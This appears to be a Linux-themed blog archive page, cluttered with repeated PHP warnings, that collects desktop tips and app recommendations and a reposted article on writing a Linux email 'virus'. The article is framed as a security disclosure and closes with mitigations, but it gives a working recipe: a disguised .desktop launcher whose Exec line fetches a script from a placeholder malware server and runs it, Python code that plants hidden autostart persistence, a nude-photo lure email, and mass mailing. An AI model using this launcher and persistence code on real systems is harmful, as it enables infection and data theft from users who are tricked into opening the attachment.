linux Archives


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Ubuntu has an option for adding a Trash Can icon to the desktop, which might be a comfort for those of you migrating from Windows.

Just type gconf-editor into the Alt+F2 run dialog to open the Gnome Configuration Editor.

Now browse down to the following key:

apps \ nautilus \ desktop

On the right hand side, you’ll see an entry called trash_icon_visible. Just check the box. You can also change the trash_icon_name if you’d like.

And there’s the icon.


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Linux is some thing which many users of windows like to see and run at least once, so the concept of Linux Live CD came in. But some of us are so lazy or may find the process of rebooting with a Live CD some what more time consuming as it involves the changing the booting priority of drives through BIOS.

MobaLiveCD is a small freeware software which lets you run a Linux Live CD on windows itself with out any rebooting required. This means you can run both windows and linux together with MobaLiveCD

moba_livecd

MobaLiveCD allows you to test Live CD just after downloading with out burning to an actual cd and you can avoid rebooting to run the LiveCD

MobaLiveCD is a light and portable tool which is packaged in a single executable of size 1.6 MB only. A clear and easy to use interface and you can also run MobaLiveCD from a portable pen drive.

Key Features of MobaLiveCD

  • No need to burn a LiveCD to check it.
  • Easy Right click menu integration for easy and fast start.
  • MobaLiveCD is portable tool, it does not require installation.

Download MobaLiveCD

10 Most Awesome Linux Applications


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

I know, I know.  Not another blog post that lists the “top 10 something or other”.  But bear with me.

I’ve been thinking a lot lately about what makes a given application awesome.  I use a lot of applications every day, many I couldn’t do my job without… but not all of them are awesome.

It’s hard to describe just what “awesome” is.  It could be the reliability of something.  Or the sheer joy it brings when you use it.  Or that it does something truly unique and inspiring.

With that in mind… my list of the top 10 most awesome applications for the Linux desktop (in no particular order).

elisa1Elisa

Elisa is one bad-ass media center.  And it just keeps gettng better.

A simple, modern, attractive look and feel.  Animations and visual effects in all the right spots.  Lightweight, fast and handles most of our media center-type needs (music, videos and photos).  It has some bugs… but it is just so cool that any rare crash is forgiven.

conduit-0313-someConduit

Conduit may not be as flashy as Elisa… but holy-convenience-batman is it cool.

In a nutshell Conduit allows you to build… conduits… between… things.

From the website: “Conduit is a synchronization application for GNOME. It allows you to synchronize your files, photos, emails, contacts, notes, calendar data and any other type of personal information and synchronize that data with another computer, an online service, or even another electronic device.”

Customizable synchronization is just plain awesome.  Why ever OS doesn’t have a similar feature built in is beyond me.

banshee-slide-podcastsBanshee

When it comes to music management, Banshee is it.

I’ve said it before, and I’m likely to say it again, but Banshee is the best music player/manager software.  Period.  For any platform.

Keep your iTunes.  Keep your Windows Media Player.

I’ve got Banshee.

It’s fast, flexible and looks great.  If you have music or listen to podcasts… you need Banshee.

secondlifecarSecond Life

You could make the argument that Second Life is a game… therefor it shouldn’t be included in an “application” list.

But, man, Second Life is so much more.

They’ve built a virtual, 3D world that is totally dynamic.  People online can create objects and design how they work with othe objects.  Basically Second Life provides a huge 3D canvas to create something.  And that’s pretty slick.

To be honest I hardly ever use Second Life.  But, just the same, it is quite awesome.

k7KOffice

I know, I know: “What about OpenOffice?”

OpenOffice is great.  It works.

But KOffice… well that really scratches a particular itch.

It has an astounding painting tool (Krita) and a very cool math formula editor (KFormula) which is something that many people won’t need… but those who do… need it badly.

Plus fantastic diagramming (Kivio) and project management (KPlato).

That’s why KOffice is so amazing.  It provides a huge array of (easy to discover and use) tools that are necessary parts of getting work done for so many.  And, sure, it has a word processor too.

Fluendo Codec Pack

This one is a bit different from the others.

These are just a package of commercial audio/video codecs.

Some of you may not be interested due to the commercial nature of the software.

Others may not be interested due to a disinterest in working with audio/video in various formats.

But for those of you who want to be able to playback a WMV HD video… well, this is just the ticket.  These codecs are fast and have incredible video quality.  I can’t recommend them enough.

doGNOME Do

It’s a launcher.  I know.  It’s been done.

But it hasn’t been done this incredibly well.

Check out their release page for screenshots and more for the current version.

The plugins available are what really makes this application so freaking awesome.  If you do any social networking, Do is a must have.

Plus now Do has a dock.  And it’s fantastic.  Blows my mind.

tomboy-128Tomboy

Ah, Tomboy.  The little note-taking application that could.

And that’s really the gist of it.  Tomboy is, at its heart, just a Gnome applet that lets you take notes.

That’s it.  And that’s why it’s awesome.  It’s small, fast and easy to take quick notes in.

Then, there’s the fact that you can interact with Tomboy notes from both Gnome Do and Conduit.  Yeah.  Wrap your head around those possibilities.  Awesome.

fspotmainF-Spot

I found myself stuck on a Windows Vista box recently.  For the first few hours I thought “hey, this isn’t that bad, I can still get my work done”.

Then I needed to take some photo’s I’d taken and upload them to a photo gallery I host on a server for my family that uses Gallery2 (which is great if you’re looking to host your own photo gallery, btw).

That’s when it hit me.  There’s no version of F-Spot for Windows.

Noooooooooooooo!

You see, I’d been spoiled by F-Spot.  It managed photos (with tags) quickly and easily.  And F-Spot is the champ of exporting and syncing your photos to online galleries.

Maybe I’m a bit abnormal… but I’d run Linux as my primary system just to have F-Spot.  It’s an amateur photographers dream.

beta3shotfull1RadicalCodex

Ok.  So I may be more than a tad biased here.  But I love this application.

It’s still in Beta.  But, even so, it just does so much that I’ve been yearning for.

I’m a book person.  The amount of sci-fi and comic books I read borders on the ridiculous.  (I’m a nerd… so a growing portion of those are eBooks.)  And, until now, there hasn’t been that one application.  That application that would let me organize my books like I would organize my music (or my notes).

Plus I wanted it to be customizable so it could be easily changed to fit the look of the different desktop themes out there.  Plus, it just had to sync with eBook readers (like the Kindle).

Being as nobody else was doing it… I did.  And it’s awesome.  (Okay, I’m done tooting my own horn now.  Hey, at least I saved it for the bottom, right? :)   )

I had a hard time narrowing it down to just 10 awesome application.  I know there are more… but these are the 10 that I find to be the most awesome at this particular moment.  Have any you’d like to add to the list?


Install Software By Clicking a Link in Ubuntu


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Installing a new program in Linux is no piece of cake. Either you have to use Add/Remove Applications or you might have to do it the hard way using the Terminal.

This is where Windows take the precedence as it allows one-click installation of programs and softwares. The good news is that it can also be done in Linux with a program called Apturl which allows you to install a program simply by clicking a link.

Now to make a link recognized as an install command, install Apturl using the command below:

sudo apt-get install apturl

Restart your web browser after the installation is complete. Now to make sure that Apturl is active and working, try clicking the bold link below and it should automatically prompt you to install the Gnome Main Menu (more info on the software can be found here)

Install Gnome Main Menu

As you can see that Apturl has helped your browser recognize commands through a link so this is a very useful tool for Ubuntu users. For those complaining about how insecure it is, they should know that Apturl only works with programs in your repositories (which are 100% safe).

How to write a Linux virus in 5 easy steps


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

I stumbled this article yesterday , and simply had to put it on my blog because of his awersomness. This article is originally written by foobar.

The rumor of the bullet-proof Linux architecture

There is this rumor going around that Linux is virus free. It is said that the old-fashioned multi-user heritage of Linux (and other *nix OSs) prevents malware, since users are not normally running their programs in admin mode (as root user). We are reminded that execute bits are needed to run anything – contrary to Windows – and that execute bits aren’t set on any attachments or files saved from emails or from a web-browser.

Therefore, we are told, the very architecture of Linux is so much more superior to Windows that it’s just not possible to successfully spread malware. Of course – it is acknowledged – a low-level bug, a buffer overflow or other issue is exploitable. But nevertheless, users can’t just catch a virus by email or downloading malware from the Internet, contrary to “those Windows users”. Linux will protect them from their own stupidity.

At least so the story goes. But sadly, that’s not true. I will show how it is possible in a few easy steps to write a perfectly valid email borne virus for modern desktop Linux. I will do so not because I want to put down Linux. Quite the opposite: I like and support Linux, which is all I’m running at home and at work. I’m a big supporter of free and open software as readers of this blog will know. But if there are any security risks, even in my favorite OS or distribution then they will need to be discussed. Even more important: A false sense of security is worse than a lack of security. And unsubstantiated claims of superiority don’t help in a reasonable discussion either.

Some notes before we get started

Update: There has been a lot of feedback about me using the term ‘virus’ not correctly here. That I should talk about a ‘trojan horse’ instead. There is some disagreement on whether a virus requires user interaction or not, and whether we would be talking about a worm if we are talking about malware that can spread without user interaction. There is also some disagreement on whether a malware that spreads itself via email can be considered a virus or not. There are many sources that would call such a thing a virus (an ‘email virus’) and others which would be more exacting in their definition. Let this article not be about that discussion. I’m calling this malware here a ‘virus’, even though it does require user interaction and even though I don’t provide actual code for how to spread itself (that code is only provided as very high-level pseudo-code).

I should point out: The vulnerabilities we will be taking advantage of are ‘features’ of the most popular modern Linux desktop environments, Gnome and KDE. The actual core of Linux itself does not have any of these vulnerabilities. A Linux (or any other *nix) system without running Gnome or KDE will not exhibit any of these problems, which is one of the huge advantages of properly separating the core OS from other applications such as the desktop environment.

On the flip side, if you run those desktop environments on other OSs (maybe on FreeBSD, for example) then you possibly have to deal with the same vulnerabilities. A more accurate title for this email therefore might have been: How to write a Gnome/KDE virus in 5 easy steps. But since Gnome and KDE are predominantly used under Linux, I feel that a virus based on those vulnerabilities would impact Linux users the most. Thus, the chosen title remains valid.

The text of this article here will explain to you which steps need to be taken to infect a desktop and how to install your malware and will provide background information on why those steps are necessary and why they actually work. After the longer explanation there is a more compact step-by-step summary towards the end. Even though there are some code snippets, the article will not provide the code for a ready-made piece of malware.

Several days ago I sent a message to the security teams at Ubuntu and Fedora, asking if they would like to take a look at this before I publish. The Ubuntu team hasn’t responded yet, but the Fedora team told me that this is “well-known and expected behavior” and that they have no problem with me publishing this. Well-known and expected? Really? But ok then, here we go.

Getting users to open attachments: Check out these nude shots!

If you are now looking forward to some new, fantangled exploit or some extra clever hackery, I will have to utterly disappoint you. What I’m showing here is merely an example of how the old-school social engineering “viruses” (they hardly deserve that name) which have been bothering the Windows world for such a long time can be made to run on Linux, or any other *nix OS with a modern desktop environment.

The premise of this type of ‘virus’ is simple: Get a user to run an executable attachment you sent them via email. This is completely low-tech. No black magic here. I’m not taking advantage of a new exploit in any way. To make it work in Linux I’m just using the ‘features’ of modern desktop environments in somewhat unintended ways, I guess. After all, it’s all “well-known and expected”.

Doing this under Windows is straight forward. You create your malware as an EXE file, attach it to an email which says something like: “Whoa, check out these nude shots of ….!”. The hapless user double-clicks on the attachment, which Windows – in the absence of some decent anti-virus software – will obediently execute. Before you know it the malware is installed and the system is owned. The execution of .EXE files from within email clients under Windows is of course also “well-known and expected”.

You think this is not possible under Linux? Of course it is. It just requires one or two more steps. However, there is nothing fundamental about the architecture of Linux that prevents user stupidity or ignorance, which is of course the main ingredient in any attack vector like this.

There is just one small stumbling block, which needs to be overcome. Well, two, actually.

Firstly, most email clients for Linux will not execute attachments. They might try to open them if they know the extension as an indication for a document or media type (.pdf or other documents for example). But that’s about it. So, let’s say you have written your malware as a nice Python script. In that case, your script may have the .py ending, but the email client is still unlikely to invoke the Python interpreter for you. You would have to go out of your way to configure your system to do that, and who would do something like this?

No, we need a slightly different approach. Something that always gets executed when clicked on. And here then is one more step that needs to be taken by the user, which might reduce the success rate of this attack vector a little. The user has to first save the attachment and then double click on it. Because while the email client typically cannot run an executable file, the desktop environment very well can as we will see. So, the email will have to read something like:

Whoa, check out these nude shots of…!

(if the attachment doesn’t want to open just save it to your desktop and open it…)

That would sound suspicious to most of us, but ‘most’ is not ‘all’ and user stupidity is everywhere. Besides, many users of web-based email clients are used to the save-first routine anyway.

Do not underestimate user ignorance – even on Linux

You might argue that most Linux users tend to be a bit more aware of what they are doing. They usually had to make a conscious choice about their OS and therefore tend to not be your typical non-technical user. But that is changing! Some netbooks are shipped with Linux as default. In that case users may not have consciously chosen Linux and thus can be just as blissfully ignorant as those Windows users who click on email attachments. Also, some large organizations are thinking about mass Linux desktop roll-outs. Various cities and governments around the world, for example. The users there are not technical either and are just as likely to click on attachments.

Furthermore, the trouble free times of the past have given Linux users another false sense of security. We are so used to the constant mantra of “Linux is so secure, you don’t even need anti-virus software!” that we probably really don’t have any anti-virus software to catch us when we are about to do something dumb.

Ok, back to the technicalities. Most email clients save attachments to the desktop of the user or in the user’s download directory where the user will then go look for it. So, if the user doesn’t endlessly examine the attachment but simply clicks the ’save’ button in the email client then that usually does the trick: The attachment will be right there in the face of the user. In fact, I noticed that for some reason my Evolution email client sometimes has issues opening even normal documents as attachments directly. For example, someone sends me an .odt file but Evolution sometimes doesn’t start OpenOffice for me. So, whenever this doesn’t work, I just save and open it then. I’m already trained to do this kind of stuff! I’m probably not the only one.

Getting attachments to execute

We said earlier that attachments are not normally run when they are stored as files. There is no standard file extension that indicates that a file should be executed when clicked, as there is under Windows. Instead – and this is the second big hurdle we need to overcome – for the file to be executable under Linux (or any other *nix OS), the execute flag would have to be set in the permissions of the file. This is something that Windows doesn’t have, and which is often seen as one of the reasons why infecting a Windows PC can be so easy, and why it should be close to impossible on *nix systems. When you save an email attachment under Linux, the execute flag is normally NOT set and thus, the file can’t be executed just by clicking on it. So, no luck?

Not so fast. Modern desktop environments, such as Gnome and KDE, conveniently offer a nice “workaround” called ‘launchers’. Those are small files that describe how something should be started. Just a few lines that specify the name, the icon that should be displayed and the actual command to execute. Conveniently, the syntax of those launcher files is the same for Gnome and KDE. And those launchers don’t have to have any execute permissions set on them! Desktop environments treat those files as a special case, so when you click on them Gnome or KDE will happily execute the command that was specified within the launcher description and without the need for the execute bit to be set on the launcher itself. Now we are getting somewhere!

A problem we are now facing is that the command that can be executed by a launcher is really just one line and just one command. It’s a bit tough to install malware with just a single command. Or is it? How about this here:

% bash -c “curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”

What does this single command do? It starts bash, a command shell (part of any default install), and passes a string argument with two simple commands to it, which bash will then execute. The first command (curl) downloads a script from some malware server you have to set up and then stores the script in a place where we know that we can write to (the /tmp directory). Note that on some systems (Ubuntu, for example) you don’t have curl, but a similar command called wget. That complicates the actual command line here a little bit, but it’s not an insurmountable problem, as shown in the step-by-step guide further down. The second command (the call to the Python interpreter) then executes that freshly downloaded script (a Python script in this example). Both Python and curl (or wget) are typically part of the default install of most Linux distros.

If we put this into the Exec line of the launcher definition then a simple click on that launcher will lead to the execution of a single command, which in turn executes two commands, which then lead to the download and execution of an arbitrary complex script. All without the execute bit being set anywhere.

You don’t need to be root to 0wn someone

None of that so far required root privileges. And our script now can do whatever it wishes to do within the confines of the user account. Confined it may be, but that doesn’t prevent the possibility of significant damage to be done.

For example, it can start to pilfer through the user’s address book to harvest email addresses, send them off to our malware server, start sending spam email or it can spread itself by email. It can install a Firefox extension that captures passwords as the user types them. It may start to share the user’s desktop via VNC without the user’s knowledge. It can start a background daemon that pops up ads. Linux adware!

All of this is executed as a normal user process. Truly, on a desktop system that is normally just used by a single user owning that user account is pretty much equivalent to owning root, as far as doing damage is concerned: All the action you are interested in takes place in the user account anyway.

But maybe you really want to have root for your malware? Well, there’s a way to do that as well, but this is not guaranteed to work in all cases and is frankly not necessary to successfully infect a machine. So, to not distract from the important points of this article here, I have a discussion of that in an appendix.

Autostart after reboot

But surely, even if the user is not able to find the running process and kill it then just a simple reboot will stop that nonsense right? Surely, root privileges are needed in order to force our malware to be automatically launched in case of a system restart, right?

Not so. Users do not need root privileges in order to configure certain applications for autolaunch when they are logging into their own user sessions. That is because they are only making changes to their own session and user account, not the underlying system settings. Again, any apps started as part of the user session will only run at the user’s privilege level, but as we have seen, this is not a major problem. Lots of interesting things can be done even then.

So, how do we get ourselves to be auto started when the user logs in? There are a number of scripts that get executed when you start a shell, but the user that’s likely to click on a suspicious attachment is not likely to start a shell very often if at all. Fortunately, the modern desktop environments have their own set of commands which they are autostarting on login. In the case of Gnome, take a look at what you find in ~/.config/autostart (this directory may not exist yet, if you have not configured any apps for autostart). That’s right! More launchers! Those are run every time the user logs into Gnome. For KDE it’s even simpler: Just link to your executable from within the ~/.kde/Autostart directory.

Our malware then only needs to create an appropriate entry in those directories and it will start to run whenever the user logs in!

And that’s all there is to it. I leave the writing of the actual malware script as an exercise to the reader.

Compact step-by-step guide

Ok, so here is the summary then, which also fills in a few more specific details:

  1. Write a piece of malware of your choice. Maybe as a Python script? Good language, efficient code, pre-installed in most Linux distros and powerful standard library support (for example, libraries for sending HTTP requests and handling SMTP are part of most standard installs). Place that malware on some web-server.

  2. Your malware needs the ability to install a launcher for itself so that it is started whenever the user logs in. As mentioned, for Gnome that means creating a launcher description in the ~/.config/autostart folder. For KDE just link to your executable from within the ~/.kde/Autostart directory. To do that the malware code can either just force the issue and copy a launcher or link to itself into both locations (creating any directories along the way if they don’t exist) or it can be a bit smarter and choose the right thing to do based on the desktop environment that it detects.

    For example, to create the shortcut for KDE, all you need to write in Python is:

    import os
    uname = os.getlogin()
    drop_dir = “/home/%s/.kde/Autostart” % uname)
    os.makedirs(drop_dir)
    os.symlink(“/home/%s/.local/.hidden/s.py” % uname, drop_dir+“/s.py”)

    For Gnome the Python script instead needs to write a launcher into the proper directory:

    import os
    relauncher_str = “”"
    [Desktop Entry]
    Type=Application
    Name=Malware
    Exec=python .local/.hidden/s.py
    Icon=system-run
    “”"
    uname = os.getlogin()
    drop_dir = “/home/%s/.config/autostart” % uname
    os.makedirs(drop_dir)
    f = open(drop_dir+”/Malware.desktop”, “w”)
    f.write(relauncher_str)
    f.close()

    Writing these autostart entries is probably some of the first action that your malware should perform.

  3. Now create a desktop launcher file for the installer of the malware, which is different than the launcher we use to restart the malware after a reboot. The desktop launcher for the installer is what we send as attachment in the email to the targeted user. It’s what the user clicks on after they saved it. Try something like this:

    [Desktop Entry]
    Type=Application
    Name=some_text.odt
    Exec=bash -c ‘URL=http://www.my_malware_server.com/s.py ;
    DROP=~/.local/.hidden ;
    mkdir -p $DROP;
    if [ -e /usr/bin/wget ] ;
    then wget $URL -O $DROP/s.py ;
    else curl $URL -o $DROP/s.py ; fi;
    python $DROP/s.py’
    Icon=/usr/share/icons/hicolor/48×48/apps/ooo-writer.png

    Note that we have specified a name that is harmless looking and even chose an icon that makes it look like a normal document (that particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE) systems, but annoyingly not on Fedora). If you claim to send nude shots in the email, just give it a name that makes it sound like an image (something with .jpg at the end) and chose one of the appropriate standard image icons.

    The Exec line is a bit longer now, because we have to account for the possibility that either wget is installed or curl. For example, Ubuntu
    systems usually have wget, while Fedora comes with curl. So, we pass the appropriate commands to bash in order to check which one is present and then call the correct command to download the malware. I’m not a bash expert, so there might be a much more efficient way to do this. But you get the idea. Also, in that line we are creating a good location for the script ($DROP), which is not immediately obvious. The mkdir command with the -p option will silently create whatever parent directories are necessary. The target directory is in the user’s home, hidden away in some innocent looking local directory and can only be seen when also displaying hidden files. The /tmp directory of course is not a good place for our malware, since it is wiped with each reboot.

    Save this launcher file under the name you specified with the Name line, but add ‘.desktop‘ to the end of the actual file name. So, in our case, you would save the file as ‘some_text.odt.desktop‘. When you place this on your desktop you will see that Gnome or KDE will treat it in a special way, not displaying the ‘.desktop‘ extension. So, the file just appears as ‘some_text.odt‘. Of course, that also means that the mail attachment will have this extension as well. Some users may notice, many others will not.

  4. Attach this file to an email, which prompts the recipient to save and open the attachment. As explained, once it has been saved it will just appear as ‘some_text.odt‘ on the user’s desktop. And with the icon we have chosen in the launcher description it will look quite harmless.

  5. Send this email out to as many email addresses as you can get a hold of.

Voila! A Linux virus in 5 simple steps. Every user that saves and opens the attachment you have sent them will get themselves infected with the malware script of your choice, which is then also restarted whenever the user logs in again.

That was easy, wasn’t it?

Solutions for the problem

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.

A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won’t have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can’t just click on it and start it if the execute bit is not set.

Thirdly, stop perpetuating the myth that malware and viruses are only a problem for Windows. Linux is – in principle – vulnerable as well, of course. Even though users don’t operate with root privileges, if they inadvertently execute a bit of malware then a lot of damage and autostart installation can still be done. The simple fact that an executed attachment won’t run as root is NOT a useful protection against much of anything, as we have seen. The fact that attachments are not saved with the execute bit is NOT a sufficient protection either, since modern desktop environments allow you to neatly maneuver around that.

Right now the limited market share of Linux on the desktop offers some protection. The overall better security architecture offers some more protection. But none of that is fool-proof. And with larger Linux deployments in interesting locations – such as government organizations – those installations also become interesting targets for malware authors.

Thunar?

Interestingly, the Thunar file manager under xfce (Xubuntu 8.10) is doing something that Gnome’s and KDE’s file managers are not doing: It will flag the desktop launcher file as potential malware and thus prevent execution via a simple click. This works whether the attachment was saved from within Thunderbird or from within a web-based email system, such as Yahoo Mail. Does anyone know what Thunar specifically does here to come up with the ‘malware’ conclusion?

However, I confirmed that it works with fresh, stock Ubuntu 8.10, Kubuntu 8.10 and Fedora 10 installs. Since this is mostly based on the functionality of Gnome and KDE, I assume that most distributions that utilize those desktops are vulnerable as well.

Bootnote

Some time ago there was a challenge issued to write a virus that would be able to infect a desktop Linux system. The original challenge contained two important caveats, though: Firstly, it should be able to infect the machine of the person who wrote the challenge. Nothing further is known about that machine. For example, we don’t know which desktop he was running. Secondly, the virus should be able to write a file into the /etc directory, to which normally only root has access.

I would content that a Linux virus can be called successful if it is able to infect standard installs of some of the most popular distros. I know that the approach I am suggesting will be able to infect a standard install of Ubuntu, Kubuntu and Fedora, for example.

Secondly, as outlined above, getting root privileges is not necessary to successfully infect a Linux computer. Well, it’s more the account of the user that is infected, isn’t it? However, if we are talking about desktop computers then for the most part there is only going to be a single user. The distinction between infecting the system (as root) or the user account (as the user) is entirely academic at best. Such an infection is in effect the same as saying ‘the machine is infected’. After all, the user is mostly logged in and the malware will run whenever that is the case. Anyway, I contacted the author of this challenge and explained the situation to him. He insists on the original rules laid out in his challenge, though. Fair enough, it’s his challenge and therefore his rules.

So, what if you really want root then?

Appendix: Getting root

Getting root privileges is always considered to be a bit of the holy-grail of compromising another machine. As we have seen, not having it isn’t really preventing you from having yourself a good time with a virus, though. But just for completeness’ sake, let me outline a way for your malware to get root. There might be other ways, but this is what I could come up with for now.

